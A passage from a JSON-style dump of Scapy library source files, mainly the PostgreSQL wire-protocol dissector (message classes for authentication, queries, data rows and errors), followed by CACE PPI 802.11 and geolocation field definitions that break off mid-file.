DUMP_Call, mtype=0)\nbind_layers(RPC, DUMP_Reply, mtype=1)\nbind_layers(RPC_Call, DUMP_Call, program=100000, pversion=2, procedure=4)\n"
  },
  {
    "path": "scapy/contrib/postgres.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Postgres PSQL Binary Protocol\n# scapy.contrib.status = loads\n\nimport struct\n\nfrom typing import (\n    Optional,\n    Callable,\n    Any,\n    Tuple,\n)\nfrom scapy.fields import (\n    ByteField,\n    CharEnumField,\n    Field,\n    FieldLenField,\n    FieldListField,\n    IntEnumField,\n    PacketListField,\n    ShortField,\n    SignedIntField,\n    SignedShortField,\n    StrField,\n    StrLenField,\n    StrNullField,\n)\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import TCP\nfrom scapy.sessions import TCPSession\n\nAUTH_CODES = {\n    0: \"AuthenticationOk\",\n    1: \"AuthenticationKerberosV4\",\n    2: \"AuthenticationKerberosV5\",\n    3: \"AuthenticationCleartextPassword\",\n    4: \"AuthenticationCryptPassword\",\n    5: \"AuthenticationMD5Password\",\n    6: \"AuthenticationSCMCredential\",\n    7: \"AuthenticationGSS\",\n    8: \"AuthenticationGSSContinue\",\n    9: \"AuthenticationSSPI\",\n    10: \"AuthenticationSASL\",\n    11: \"AuthenticationSASLContinue\",\n    12: \"AuthenticationSASLFinal\",\n}\n\n\nclass KeepAlive(Packet):\n    name = \"Keep Alive\"\n    fields_desc = [\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass SSLRequest(Packet):\n    name = \"SSL request code message\"\n    fields_desc = [\n        FieldLenField(\"length\", None, fmt=\"I\"),\n        SignedIntField(\"request_code\", 80877103),\n    ]\n\n\nclass _DictStrField(StrField):\n    \"\"\"Takes a dictionary as an argument and packs back into a byte string.\"\"\"\n\n    def i2m(self, pkt, x):\n        if isinstance(x, bytes):\n            return x\n        if isinstance(x, dict):\n            result = bytes()\n            for k, v in x.items():\n                result += k + b\"\\x00\" + v + b\"\\x00\"\n            return result + b\"\\x00\"\n        else:\n            return super(_DictStrField, self).i2m(pkt, x)\n\n    def i2len(self, pkt, x):\n        # type: (Optional[Packet], Any) -> int\n        if x is None:\n            return 0\n        return len(self.i2m(pkt, x))\n\n\nclass Startup(Packet):\n    name = \"Startup Request Packet\"\n    fields_desc = [\n        FieldLenField(\n            \"len\", None, length_of=\"options\", fmt=\"I\", adjust=lambda pkt, x: x + 8\n        ),\n        ShortField(\"protocol_version_major\", 3),\n        ShortField(\"protocol_version_minor\", 0),\n        _DictStrField(\"options\", None),\n    ]\n\n\nclass _FieldsLenField(Field[int, int]):\n    \"\"\"Same as FieldLenField but takes a tuple of fields for length_of.\"\"\"\n\n    __slots__ = [\"length_of\", \"adjust\"]\n\n    def __init__(\n        self,\n        name,  # type: str\n        default,  # type: Optional[Any]\n        length_of=None,  # type: Optional[Tuple[str]]\n        fmt=\"H\",  # type: str\n        adjust=lambda pkt, x: x,  # type: Callable[[Packet, int], int]\n    ):\n        # type: (...) -> None\n        super(_FieldsLenField, self).__init__(name, default, fmt)\n        self.length_of = length_of\n        self.adjust = adjust\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[int]) -> int\n        if x is None and pkt is not None:\n            if self.length_of is not None:\n                f = 0\n                for length_of_field in self.length_of:\n                    fld, fval = pkt.getfield_and_val(length_of_field)\n                    f += fld.i2len(pkt, fval)\n            else:\n                raise ValueError(\"Field should have either length_of or count_of\")\n            x = self.adjust(pkt, f)\n        elif x is None:\n            x = 0\n        return x\n\n\ndef determine_pg_field(pkt, lst, cur, remain):\n    key = b\"\"\n    if remain:\n        key = remain[0:1]  # Python 2/3 compat\n    if key in pkt.cls_mapping:\n        return pkt.cls_mapping[key]\n    elif remain[0:1] == b\"\\x00\" and len(remain) >= 4:\n        length = struct.unpack(\"!I\", remain[0:3])[0]\n        if length == 0:\n            return KeepAlive\n        elif length == 8:\n            return SSLRequest\n        else:\n            return Startup\n    else:\n        return None\n\n\nclass ByteTagField(ByteField):\n    def __init__(\n        self, default  # type: bytes\n    ):\n        super(ByteTagField, self).__init__(\"tag\", ord(default))\n\n    def randval(self):\n        return ord(self.default)\n\n\nclass _BasePostgres(Packet, TCPSession):\n    name = \"Regular packet\"\n    fields_desc = [PacketListField(\"contents\", [], next_cls_cb=determine_pg_field)]\n\n    @classmethod\n    def tcp_reassemble(cls, data, metadata):\n        if data and data[0:1] == b\"\\x00\":\n            length = struct.unpack(\"!I\", data[0:3])[0]\n            if length == 8:\n                return SSLRequest(data)\n            else:\n                return Startup(data)\n        else:\n            return cls(data)\n\n\nclass _ZeroPadding(Packet):\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass SignedIntStrPair(_ZeroPadding):\n    name = \"Bytes data\"\n    fields_desc = [\n        FieldLenField(\"len\", 0, fmt=\"i\", length_of=\"value\"),\n        StrLenField(\n            \"data\", None, length_from=lambda pkt: pkt.len if pkt.len > 0 else 0\n        ),\n    ]\n\n\nclass Authentication(_ZeroPadding):\n    name = \"Authentication Request\"\n    fields_desc = [\n        ByteTagField(b\"R\"),\n        FieldLenField(\n            \"len\", None, length_of=\"optional\", fmt=\"I\", adjust=lambda pkt, x: x + 8\n        ),\n        IntEnumField(\"method\", default=0, enum=AUTH_CODES),\n        StrLenField(\"optional\", None, length_from=lambda pkt: pkt.len - 8),\n    ]\n\n\nclass ParameterStatus(_ZeroPadding):\n    name = \"Parameter Status\"\n    fields_desc = [\n        ByteTagField(b\"S\"),\n        FieldLenField(\n            \"len\",\n            None,\n            fmt=\"I\",\n            length_of=(\"parameter\", \"value\"),\n            adjust=lambda pkt, x: x + 4,\n        ),\n        StrNullField(\n            \"parameter\",\n            \"\",\n        ),\n        StrNullField(\n            \"value\",\n            \"\",\n        ),\n    ]\n\n\nclass Query(_ZeroPadding):\n    name = \"Simple Query\"\n    fields_desc = [\n        ByteTagField(b\"Q\"),\n        FieldLenField(\n            \"len\", None, length_of=\"query\", fmt=\"I\", adjust=lambda pkt, x: x + 5\n        ),\n        StrNullField(\"query\", None),\n    ]\n\n\nclass CommandComplete(_ZeroPadding):\n    name = \"Command Completion Response\"\n    fields_desc = [\n        ByteTagField(b\"C\"),\n        FieldLenField(\n            \"len\", None, length_of=\"cmdtag\", fmt=\"I\", adjust=lambda pkt, x: x + 4\n        ),\n        StrLenField(\"cmdtag\", \"\", length_from=lambda pkt: pkt.len - 4),\n    ]\n\n\nclass BackendKeyData(_ZeroPadding):\n    name = \"Backend Key Data\"\n    fields_desc = [\n        ByteTagField(b\"K\"),\n        FieldLenField(\"len\", None, fmt=\"I\"),\n        SignedIntField(\"pid\", 0),\n        SignedIntField(\"key\", 0),\n    ]\n\n\nSTATUS_TYPE = {\n    b\"E\": \"InFailedTransaction\",\n    b\"I\": \"Idle\",\n    b\"T\": \"InTransaction\",\n}\n\n\nclass ReadyForQuery(_ZeroPadding):\n    name = \"Ready Signal\"\n    fields_desc = [\n        ByteTagField(b\"Z\"),\n        SignedIntField(\"len\", 6),\n        CharEnumField(\"status\", b\"I\", STATUS_TYPE),\n    ]\n\n\nclass ColumnDescription(_ZeroPadding):\n    name = \"Column Description\"\n    fields_desc = [\n        StrNullField(\"col\", None),\n        SignedIntField(\"tableoid\", 0),\n        SignedShortField(\"colno\", 0),\n        SignedIntField(\"typeoid\", 0),\n        SignedShortField(\"typelen\", 0),\n        SignedIntField(\"typemod\", 0),\n        SignedShortField(\"format\", 0),\n    ]\n\n\nclass RowDescription(_ZeroPadding):\n    name = \"Row Description\"\n    fields_desc = [\n        ByteTagField(b\"T\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"cols\", adjust=lambda pkt, x: x + 6\n        ),\n        SignedShortField(\"numfields\", 0),\n        PacketListField(\n            \"cols\",\n            [],\n            pkt_cls=ColumnDescription,\n            count_from=lambda pkt: pkt.numfields,\n            length_from=lambda pkt: pkt.len - 6,\n        ),\n    ]\n\n\nclass DataRow(_ZeroPadding):\n    name = \"Data Row\"\n    fields_desc = [\n        ByteTagField(b\"D\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"data\", adjust=lambda pkt, x: len(pkt) - 1\n        ),\n        FieldLenField(\"numfields\", 0),\n        PacketListField(\n            \"data\",\n            [],\n            SignedIntStrPair,\n            count_from=lambda pkt: pkt.numfields,\n        ),\n    ]\n\n\n# See https://www.postgresql.org/docs/current/protocol-error-fields.html\nERROR_FIELD = {\n    b\"S\": \"Severity\",\n    b\"V\": \"SeverityNonLocalized\",\n    b\"C\": \"Code\",\n    b\"M\": \"Message\",\n    b\"D\": \"Detail\",\n    b\"H\": \"Hint\",\n    b\"P\": \"Position\",\n    b\"p\": \"InternalPosition\",\n    b\"q\": \"InternalQuery\",\n    b\"W\": \"Where\",\n    b\"s\": \"SchemaName\",\n    b\"t\": \"TableName\",\n    b\"c\": \"ColumnName\",\n    b\"d\": \"DataTypeName\",\n    b\"n\": \"ConstraintName\",\n    b\"F\": \"File\",\n    b\"L\": \"Line\",\n    b\"R\": \"Routine\",\n}\n\n\nclass ErrorResponseField(StrNullField):\n    def m2i(self, pkt, x):\n        \"\"\"Unpack into a tuple of Field, Value.\"\"\"\n        i = super(ErrorResponseField, self).m2i(pkt, x)\n        i_code = i[0:1]  # Python 2/3 compatible\n        return (ERROR_FIELD.get(i_code, i_code), i[1:])\n\n\nclass ErrorResponse(_ZeroPadding):\n    name = \"Error Response\"\n    fields_desc = [\n        ByteTagField(b\"E\"),\n        FieldLenField(\n            \"len\", None, length_of=\"error_fields\", fmt=\"I\", adjust=lambda pkt, x: x + 5\n        ),\n        FieldListField(\n            \"error_fields\",\n            [],\n            ErrorResponseField(\"value\", None),\n            length_from=lambda pkt: pkt.len - 5,\n        ),\n        ByteField(\"terminator\", None),\n    ]\n\n\nclass Terminate(_ZeroPadding):\n    name = \"Termination Request\"\n    fields_desc = [\n        ByteTagField(b\"X\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass _Todo(_ZeroPadding):\n    name = \"Unsupported message\"\n    fields_desc = [\n        ByteTagField(b\"?\"),\n        FieldLenField(\"len\", None, fmt=\"I\", length_of=\"body\"),\n        StrLenField(\"body\", None, length_from=lambda pkt: pkt.len - 4),\n    ]\n\n\nclass Bind(_ZeroPadding):\n    name = \"Bind Request\"\n    fields_desc = [\n        ByteTagField(b\"?\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"body\", adjust=lambda pkt, x: len(pkt) - 1\n        ),\n        StrNullField(\"destination\", \"\"),\n        StrNullField(\"statement\", \"\"),\n        FieldLenField(\"codes_count\", 0, fmt=\"H\", count_of=\"codes\"),\n        FieldListField(\n            \"codes\", [], ShortField(\"\", 0), count_from=lambda pkt: pkt.codes_count\n        ),\n        FieldLenField(\"values_count\", 0, fmt=\"H\", count_of=\"values\"),\n        PacketListField(\n            \"values\", [], SignedIntStrPair, count_from=lambda pkt: pkt.values_count\n        ),\n        FieldLenField(\"results_count\", 0, fmt=\"H\", count_of=\"results\"),\n        FieldListField(\n            \"results\", [], ShortField(\"\", 0), count_from=lambda pkt: pkt.results_count\n        ),\n    ]\n\n\nclass BindComplete(_ZeroPadding):\n    name = \"Bind Complete\"\n    fields_desc = [\n        ByteTagField(b\"2\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nCLOSE_DESCRIBE_TYPE = {b\"S\": \"PreparedStatement\", b\"P\": \"Portal\"}\n\n\nclass Close(_ZeroPadding):\n    name = \"Close Request\"\n    fields_desc = [\n        ByteTagField(b\"C\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"statement\", adjust=lambda pkt, x: x + 6\n        ),\n        CharEnumField(\"close_type\", b\"S\", enum=CLOSE_DESCRIBE_TYPE),\n        StrNullField(\n            \"statement\",\n            \"\",\n        ),\n    ]\n\n\nclass CloseComplete(_ZeroPadding):\n    name = \"Close Complete\"\n    fields_desc = [\n        ByteTagField(b\"3\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass Describe(_ZeroPadding):\n    name = \"Describe\"\n    fields_desc = [\n        ByteTagField(b\"D\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"statement\", adjust=lambda pkt, x: x + 6\n        ),\n        CharEnumField(\"close_type\", b\"S\", enum=CLOSE_DESCRIBE_TYPE),\n        StrNullField(\"statement\", \"\"),\n    ]\n\n\nclass EmptyQueryResponse(_ZeroPadding):\n    name = \"Empty Query Response\"\n    fields_desc = [\n        ByteTagField(b\"I\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass Flush(_ZeroPadding):\n    name = \"Flush Request\"\n    fields_desc = [\n        ByteTagField(b\"H\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass NoData(_ZeroPadding):\n    name = \"No Data Response\"\n    fields_desc = [\n        ByteTagField(b\"n\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass ParseComplete(_ZeroPadding):\n    name = \"Parse Complete Response\"\n    fields_desc = [\n        ByteTagField(b\"1\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass PortalSuspended(_ZeroPadding):\n    name = \"Portal Suspended Response\"\n    fields_desc = [\n        ByteTagField(b\"s\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass Sync(_ZeroPadding):\n    name = \"Sync Request\"\n    fields_desc = [\n        ByteTagField(b\"S\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass Parse(_ZeroPadding):\n    name = \"Parse Request\"\n    fields_desc = [\n        ByteTagField(b\"P\"),\n        FieldLenField(\"len\", None, fmt=\"I\", adjust=lambda pkt, x: len(pkt) - 1),\n        StrNullField(\"destination\", \"\"),\n        StrNullField(\"query\", \"\"),\n        FieldLenField(\"num_param_dtypes\", None, fmt=\"H\", count_of=\"params\"),\n        FieldListField(\n            \"params\",\n            [],\n            SignedIntField(\"param\", None),\n            count_from=lambda pkt: pkt.num_param_dtypes,\n        ),\n    ]\n\n\nclass Execute(_ZeroPadding):\n    name = \"Execute Request\"\n    fields_desc = [\n        ByteTagField(b\"E\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"portal\", adjust=lambda pkt, x: x + 9\n        ),\n        StrNullField(\n            \"portal\",\n            \"\",\n        ),\n        SignedIntField(\"rows\", 0),\n    ]\n\n\nclass PasswordMessage(_ZeroPadding):\n    \"\"\"\n    Identifies the message as a password response.\n    Note that this is also used for GSSAPI, SSPI and SASL\n    response messages. The exact message type can be deduced\n    from the context.\n    \"\"\"\n\n    name = \"Password Request Response\"\n    fields_desc = [\n        ByteTagField(b\"p\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"password\", adjust=lambda pkt, x: x + 4\n        ),\n        StrLenField(\"password\", None, length_from=lambda pkt: pkt.len - 4),\n    ]\n\n\nclass NoticeResponse(_ZeroPadding):\n    name = \"Notice Response\"\n    fields_desc = [\n        ByteTagField(b\"N\"),\n        FieldLenField(\n            \"len\", None, length_of=\"notice_fields\", fmt=\"I\", adjust=lambda pkt, x: x + 5\n        ),\n        FieldListField(\n            \"notice_fields\",\n            [],\n            ErrorResponseField(\"value\", None),\n            length_from=lambda pkt: pkt.len - 5,\n        ),\n        ByteField(\"terminator\", None),\n    ]\n\n\nclass NotificationResponse(_ZeroPadding):\n    name = \"Password Request Response\"\n    fields_desc = [\n        ByteTagField(b\"A\"),\n        _FieldsLenField(\n            \"len\",\n            None,\n            fmt=\"I\",\n            length_of=(\"channel\", \"payload\"),\n            adjust=lambda pkt, x: x + 8,\n        ),\n        SignedIntField(\"process_id\", 0),\n        StrNullField(\"channel\", None),\n        StrNullField(\"payload\", None),\n    ]\n\n\nclass NegotiateProtocolVersion(_ZeroPadding):\n    name = \"Negotiate Protocol Version Response\"\n    fields_desc = [\n        ByteTagField(b\"v\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"option\", adjust=lambda pkt, x: x + 12\n        ),\n        SignedIntField(\"min_minor_version\", 0),\n        SignedIntField(\"unrecognized_options\", 0),\n        StrNullField(\"option\", None),\n    ]\n\n\nclass FunctionCallResponse(_ZeroPadding):\n    name = \"Function Call Response\"\n    fields_desc = [\n        ByteTagField(b\"V\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"result\", adjust=lambda pkt, x: x + 8\n        ),\n        FieldLenField(\"result_len\", None, length_of=\"result\"),\n        StrLenField(\"result\", None, length_from=lambda pkt: pkt.result_len),\n    ]\n\n\nclass ParameterDescription(_ZeroPadding):\n    name = \"Parameter Description\"\n    fields_desc = [\n        ByteTagField(b\"t\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"dtypes\", adjust=lambda pkt, x: x + 6\n        ),\n        SignedShortField(\"dtypes_len\", 0),\n        FieldListField(\n            \"dtypes\",\n            [],\n            SignedIntField(\"dtype\", None),\n            count_from=lambda pkt: pkt.dtypes_len,\n        ),\n    ]\n\n\nclass CopyData(_ZeroPadding):\n    name = \"Copy Data\"\n    fields_desc = [\n        ByteTagField(b\"d\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"data\", adjust=lambda pkt, x: x + 4\n        ),\n        StrLenField(\"data\", None, length_from=lambda pkt: pkt.len - 4),\n    ]\n\n\nclass CopyDone(_ZeroPadding):\n    name = \"Copy Done\"\n    fields_desc = [\n        ByteTagField(b\"c\"),\n        SignedIntField(\"len\", 4),\n    ]\n\n\nclass CopyFail(_ZeroPadding):\n    name = \"Copy Fail Reason\"\n    fields_desc = [\n        ByteTagField(b\"f\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"reason\", adjust=lambda pkt, x: x + 4\n        ),\n        StrLenField(\"reason\", None, length_from=lambda pkt: pkt.len - 4),\n    ]\n\n\nclass CancelRequest(Packet):\n    name = \"Cancel Request\"\n    fields_desc = [\n        SignedIntField(\"len\", 16),\n        SignedIntField(\"request_code\", 80877102),\n        SignedIntField(\"process_id\", 0),\n        SignedIntField(\"secret\", 0),\n    ]\n\n\nclass GSSENCRequest(Packet):\n    name = \"GSSENC Request\"\n    fields_desc = [\n        SignedIntField(\"len\", 8),\n        SignedIntField(\"request_code\", 80877104),\n    ]\n\n\nclass CopyInResponse(_ZeroPadding):\n    name = \"Copy in Response\"\n    fields_desc = [\n        ByteTagField(b\"G\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"cols\", adjust=lambda pkt, x: x + 7\n        ),\n        ByteField(\"format\", 0),\n        ShortField(\"ncols\", 0),\n        FieldListField(\n            \"cols\",\n            [],\n            ShortField(\"format\", None),\n            count_from=lambda pkt: pkt.ncols,\n        ),\n    ]\n\n\nclass CopyOutResponse(_ZeroPadding):\n    name = \"Copy out Response\"\n    fields_desc = [\n        ByteTagField(b\"H\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"cols\", adjust=lambda pkt, x: x + 7\n        ),\n        ByteField(\"format\", 0),\n        ShortField(\"ncols\", 0),\n        FieldListField(\n            \"cols\",\n            [],\n            ShortField(\"format\", None),\n            count_from=lambda pkt: pkt.ncols,\n        ),\n    ]\n\n\nclass CopyBothResponse(_ZeroPadding):\n    name = \"Copy both Response\"\n    fields_desc = [\n        ByteTagField(b\"W\"),\n        FieldLenField(\n            \"len\", None, fmt=\"I\", length_of=\"cols\", adjust=lambda pkt, x: x + 7\n        ),\n        ByteField(\"format\", 0),\n        ShortField(\"ncols\", 0),\n        FieldListField(\n            \"cols\",\n            [],\n            ShortField(\"format\", None),\n            count_from=lambda pkt: pkt.ncols,\n        ),\n    ]\n\n\nFRONTEND_TAG_TO_PACKET_CLS = {\n    b\"B\": Bind,\n    b\"C\": Close,\n    b\"d\": CopyData,\n    b\"c\": CopyDone,\n    b\"f\": CopyFail,\n    b\"D\": Describe,\n    b\"E\": Execute,\n    b\"H\": Flush,\n    b\"F\": _Todo,\n    b\"P\": Parse,\n    b\"p\": PasswordMessage,\n    b\"Q\": Query,\n    b\"S\": Sync,\n    b\"X\": Terminate,\n}\n\nBACKEND_TAG_TO_PACKET_CLS = {\n    b\"R\": Authentication,\n    b\"K\": BackendKeyData,\n    b\"2\": BindComplete,\n    b\"3\": CloseComplete,\n    b\"C\": CommandComplete,\n    b\"d\": CopyData,\n    b\"c\": CopyDone,\n    b\"G\": CopyInResponse,\n    b\"H\": CopyOutResponse,\n    b\"W\": CopyBothResponse,\n    b\"D\": DataRow,\n    b\"I\": EmptyQueryResponse,\n    b\"E\": ErrorResponse,\n    b\"V\": FunctionCallResponse,\n    b\"v\": NegotiateProtocolVersion,\n    b\"n\": NoData,\n    b\"N\": NoticeResponse,\n    b\"A\": NotificationResponse,\n    b\"t\": ParameterDescription,\n    b\"S\": ParameterStatus,\n    b\"1\": ParseComplete,\n    b\"s\": PortalSuspended,\n    b\"Z\": ReadyForQuery,\n    b\"T\": RowDescription,\n}\n\n\nclass PostgresFrontend(_BasePostgres):\n    cls_mapping = FRONTEND_TAG_TO_PACKET_CLS\n\n    @classmethod\n    def tcp_reassemble(cls, data, metadata):\n        msgs = PostgresFrontend(data)\n        if msgs.contents and \"Sync\" in msgs.contents[-1]:\n            return msgs\n\n\nclass PostgresBackend(_BasePostgres):\n    cls_mapping = BACKEND_TAG_TO_PACKET_CLS\n\n    @classmethod\n    def tcp_reassemble(cls, data, metadata):\n        msgs = PostgresBackend(data)\n        if msgs.contents and \"ReadyForQuery\" in msgs.contents[-1]:\n            return msgs\n\n\nbind_layers(TCP, PostgresFrontend, dport=5432)\nbind_layers(TCP, PostgresBackend, sport=5432)\n"
  },
  {
    "path": "scapy/contrib/ppi_cace.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# author: <jellch@harris.com>\n\n# scapy.contrib.description = CACE Per-Packet Information (PPI)\n# scapy.contrib.status = loads\n\n\"\"\"\nCACE PPI types\n\"\"\"\n\nfrom scapy.data import PPI_DOT11COMMON\nfrom scapy.packet import bind_layers\nfrom scapy.fields import ByteField, Field, FlagsField, LELongField, \\\n    LEShortField\nfrom scapy.layers.ppi import PPI_Hdr, PPI_Element\n\n\n# PPI 802.11 Common Field Header Fields\nclass dBmByteField(Field):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"b\")\n\n    def i2repr(self, pkt, x):\n        if x is not None:\n            x = \"%4d dBm\" % x\n        return x\n\n\nclass PPITSFTField(LELongField):\n    def i2h(self, pkt, x):\n        flags = 0\n        if pkt:\n            flags = pkt.getfieldval(\"Pkt_Flags\")\n        if not flags:\n            flags = 0\n        if flags & 0x02:\n            scale = 1e-3\n        else:\n            scale = 1e-6\n        tout = scale * float(x)\n        return tout\n\n    def h2i(self, pkt, x):\n        scale = 1e6\n        if pkt:\n            flags = pkt.getfieldval(\"Pkt_Flags\")\n            if flags and (flags & 0x02):\n                scale = 1e3\n        tout = int((scale * x) + 0.5)\n        return tout\n\n\n_PPIDot11CommonChFlags = [\n    '', '', '', '', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz',\n    'PassiveOnly', 'Dynamic CCK-OFDM', 'GSFK']\n\n_PPIDot11CommonPktFlags = ['FCS', 'TSFT_ms', 'FCS_Invalid', 'PHY_Error']\n\n\n# PPI 802.11 Common Field Header\nclass PPI_Dot11Common(PPI_Element):\n    name = \"PPI 802.11-Common\"\n    fields_desc = [PPITSFTField('TSF_Timer', 0),\n                   FlagsField('Pkt_Flags', 0, -16, _PPIDot11CommonPktFlags),\n                   LEShortField('Rate', 0),\n                   LEShortField('Ch_Freq', 0),\n                   FlagsField('Ch_Flags', 0, -16, _PPIDot11CommonChFlags),\n                   ByteField('FHSS_Hop', 0),\n                   ByteField('FHSS_Pat', 0),\n                   dBmByteField('Antsignal', -128),\n                   dBmByteField('Antnoise', -128)]\n\n    def extract_padding(self, s):\n        return b'', s\n\n\n# Hopefully other CACE defined types will be added here.\n\n\n# Add the dot11common layer to the PPI array\nbind_layers(PPI_Hdr, PPI_Dot11Common, pfh_type=PPI_DOT11COMMON)\n"
  },
  {
    "path": "scapy/contrib/ppi_geotag.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# author: <jellch@harris.com>\n\n# scapy.contrib.description = CACE Per-Packet Information (PPI) Geolocation\n# scapy.contrib.status = loads\n\n\n\"\"\"\nPPI-GEOLOCATION tags\n\"\"\"\n\nimport functools\nimport struct\n\nfrom scapy.base_classes import Packet_metaclass\nfrom scapy.data import PPI_GPS, PPI_VECTOR, PPI_SENSOR, PPI_ANTENNA\nfrom scapy.packet import bind_layers\nfrom scapy.fields import ByteField, ConditionalField, Field, FlagsField, \\\n    LEIntField, LEShortEnumField, LEShortField, StrFixedLenField, \\\n    UTCTimeField, XLEIntField, SignedByteField, XLEShortField\nfrom scapy.layers.ppi import PPI_Hdr, PPI_Element\nfrom scapy.error import warning\n\nCURR_GEOTAG_VER = 2  # Major revision of specification\n\n\n# The FixedX_Y Fields are used to store fixed point numbers in a variety of\n# fields in the GEOLOCATION-TAGS specification\n\n\nclass _RMMLEIntField(LEIntField):\n    __slots__ = [\"min_i2h\", \"max_i2h\", \"lambda_i2h\",\n                 \"min_h2i\", \"max_h2i\", \"lambda_h2i\",\n                 \"rname\", \"ffmt\"]\n\n    def __init__(self, name, default, _min, _max, _min2, _max2, _lmb, _lmb2,\n                 fmt, *args, **kargs):\n        LEIntField.__init__(self, name, default, *args, **kargs)\n        self.min_i2h = _min\n        self.max_i2h = _max\n        self.lambda_i2h = _lmb\n        self.min_h2i = _min2\n        self.max_h2i = _max2\n        self.lambda_h2i = _lmb2\n        self.rname = self.__class__.__name__\n        self.ffmt = fmt\n\n    def i2h(self, pkt, x):\n        if x is not None:\n            if (x < self.min_i2h):\n                warning(\"%s: Internal value too negative: %d\", self.rname, x)\n                x = int(round(self.min_i2h))\n            elif (x > self.max_i2h):\n                warning(\"%s: Internal value too positive: %d\", self.rname, x)\n                x = self.max_i2h\n            x = self.lambda_i2h(x)\n        return x\n\n    def h2i(self, pkt, x):\n        if x is not None:\n            if (x < self.min_h2i):\n                warning(\"%s: Input value too negative: %.10f\", self.rname, x)\n                x = int(round(self.min_h2i))\n            elif (x >= self.max_h2i):\n                warning(\"%s: Input value too positive: %.10f\", self.rname, x)\n                x = int(round(self.max_h2i))\n            x = self.lambda_h2i(x)\n        return x\n\n    def i2m(self, pkt, x):\n        \"\"\"Convert internal value to machine value\"\"\"\n        if x is None:\n            # Try to return zero if undefined\n            x = self.h2i(pkt, 0)\n        return x\n\n    def i2repr(self, pkt, x):\n        if x is None:\n            y = 0\n        else:\n            y = self.i2h(pkt, x)\n        return (\"%\" + self.ffmt) % (y)\n\n\nclass Fixed3_6Field(_RMMLEIntField):\n    def __init__(self, name, default, *args, **kargs):\n        _RMMLEIntField.__init__(self,\n                                name, default,\n                                0,\n                                999999999,\n                                -0.5e-6,\n                                999.9999995,\n                                lambda x: x * 1e-6,\n                                lambda x: int(round(x * 1e6)),\n                                \"3.6f\")\n\n\nclass Fixed3_7Field(_RMMLEIntField):\n    def __init__(self, name, default, *args, **kargs):\n        _RMMLEIntField.__init__(self,\n                                name, default,\n                                0,\n                                3600000000,\n                                -180.00000005,\n                                180.00000005,\n                                lambda x: (x - 1800000000) * 1e-7,\n                                lambda x: int(round((x + 180.0) * 1e7)),\n                                \"3.7f\")\n\n\nclass Fixed6_4Field(_RMMLEIntField):\n    def __init__(self, name, default, *args, **kargs):\n        _RMMLEIntField.__init__(self,\n                                name, default,\n                                0,\n                                3600000000,\n                                -180000.00005,\n                                180000.00005,\n                                lambda x: (x - 1800000000) * 1e-4,\n                                lambda x: int(round((x + 180000.0) * 1e4)),\n                                \"6.4f\")\n\n# The GPS timestamps fractional time counter is stored in a 32-bit unsigned ns\n# counter.\n# The ept field is as well,\n\n\nclass NSCounter_Field(_RMMLEIntField):\n    def __init__(self, name, default):\n        _RMMLEIntField.__init__(self,\n                                name, default,\n                                0,\n                                2**32,\n                                0,\n                                (2**32 - 1) / 1e9,\n                                lambda x: (x / 1e9),\n                                lambda x: int(round(x * 1e9)),\n                                \"1.9f\")\n\n\nclass LETimeField(UTCTimeField, LEIntField):\n    __slots__ = [\"epoch\", \"delta\", \"strf\"]\n\n    def __init__(self, name, default, epoch=None,\n                 strf=\"%a, %d %b %Y %H:%M:%S %z\"):\n        LEIntField.__init__(self, name, default)\n        UTCTimeField.__init__(self, name, default, epoch=epoch, strf=strf)\n\n\nclass GPSTime_Field(LETimeField):\n    def __init__(self, name, default):\n        LETimeField.__init__(self, name, default,\n                             strf=\"%a, %d %b %Y %H:%M:%S UTC\")\n\n\nclass VectorFlags_Field(XLEIntField):\n    \"\"\"Represents the VectorFlags field. Handles the RelativeTo:sub-field\"\"\"\n    _fwdstr = \"DefinesForward\"\n    _resmask = 0xfffffff8\n    _relmask = 0x6\n    _relnames = [\n        \"RelativeToForward\",\n        \"RelativeToEarth\",\n        \"RelativeToCurrent\",\n        \"RelativeToReserved\",\n    ]\n    _relvals = [0x00, 0x02, 0x04, 0x06]\n\n    def i2repr(self, pkt, x):\n        if x is None:\n            return str(x)\n        r = []\n        if (x & 0x1):\n            r.append(self._fwdstr)\n        i = (x & self._relmask) >> 1\n        r.append(self._relnames[i])\n        i = x & self._resmask\n        if (i):\n            r.append(\"ReservedBits:%08X\" % i)\n        sout = \"+\".join(r)\n        return sout\n\n    def any2i(self, pkt, x):\n        if isinstance(x, str):\n            r = x.split(\"+\")\n            y = 0\n            for value in r:\n                if (value == self._fwdstr):\n                    y |= 0x1\n       